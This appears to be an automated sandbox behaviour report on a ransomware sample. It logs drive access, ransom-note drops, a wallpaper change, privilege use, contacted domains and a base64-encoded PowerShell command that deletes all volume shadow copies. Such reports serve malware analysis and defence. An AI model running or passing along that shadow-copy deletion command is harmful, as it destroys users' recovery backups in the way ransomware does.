File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\65c1reg846y.bmp" C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created \??\c:\program files\idw8w-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File created \??\c:\program files (x86)\idw8w-readme.txt C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\EditSkip.3g2 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\SelectExport.TTS C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UnblockWait.midi C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UnpublishRename.potx C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\LimitDeny.wmx C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\RedoDisable.fon C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\SendUninstall.xlsm C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A
File opened for modification \??\c:\program files\UninstallSubmit.3gp2 C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe

"C:\Users\Admin\AppData\Local\Temp\a3237bee421786c2d5752e0f2be5e33147e2456d781638578b5ab7fcff77f963.exe"

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 rokthetalk.com udp
US 8.8.8.8:53 mslp.org udp
US 64.182.230.170:443 mslp.org tcp
US 8.8.8.8:53 palmecophilippines.com udp
HK 156.241.187.210:443 palmecophilippines.com tcp
US 8.8.8.8:53 envomask.com udp
US 35.233.151.53:443 envomask.com tcp
US 8.8.8.8:53 pvandambv.nl udp
US 172.67.205.185:443 pvandambv.nl tcp
US 8.8.8.8:53 rentingwell.com udp
CA 159.203.58.121:443 rentingwell.com tcp
US 8.8.8.8:53 advance-refle.com udp
JP 157.7.107.246:443 advance-refle.com tcp
US 8.8.8.8:53 lovcase.com udp
US 8.8.8.8:53 ncjc.ca udp
CA 54.39.73.56:443 ncjc.ca tcp
US 8.8.8.8:53 morgansconsult.com udp
GB 35.214.25.158:443 morgansconsult.com tcp
US 8.8.8.8:53 internestdigital.com udp
ES 185.107.227.241:443 internestdigital.com tcp
US 8.8.8.8:53 log-barn.co.uk udp
GB 149.255.60.174:443 log-barn.co.uk tcp
US 8.8.8.8:53 theintellect.edu.pk udp
DE 176.9.116.91:443 theintellect.edu.pk tcp
US 8.8.8.8:53 rossomattonecase.it udp
IT 185.81.4.85:443 rossomattonecase.it tcp
US 8.8.8.8:53 autoteamlast.de udp
DE 37.202.7.169:443 autoteamlast.de tcp

Files

memory/2860-123-0x000002AAEE640000-0x000002AAEE662000-memory.dmp

memory/2860-128-0x000002AAEE690000-0x000002AAEE692000-memory.dmp

memory/2860-129-0x000002AAEE693000-0x000002AAEE695000-memory.dmp

memory/2860-130-0x000002AAF07F0000-0x000002AAF0866000-memory.dmp